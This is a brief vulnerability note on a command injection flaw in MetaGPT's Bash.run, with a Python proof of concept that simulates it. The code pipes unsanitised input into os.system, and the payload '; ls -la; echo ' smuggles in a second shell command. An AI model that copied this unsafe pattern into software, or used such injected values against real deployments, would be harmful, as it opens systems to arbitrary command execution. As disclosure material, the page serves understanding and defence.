CVE-2026-5974 MetaGPT操作系统命令注入漏洞

import os # This is a simulation of the vulnerability in Bash.run # The actual vulnerability allows passing unfiltered input to a system shell def vulnerable_bash_run(user_input): # Vulnerability: Directly using user input in a shell command without sanitization # In the actual library, this might be os.system("bash -c " + user_input) command = f"echo {user_input}" print(f"Executing: {command}") os.system(command) # PoC: Injecting a command to list directory contents # Payload uses ';' to separate commands in the shell malicious_payload = "; ls -la; echo " print("--- PoC Start ---") vulnerable_bash_run(malicious_payload) print("--- PoC End ---")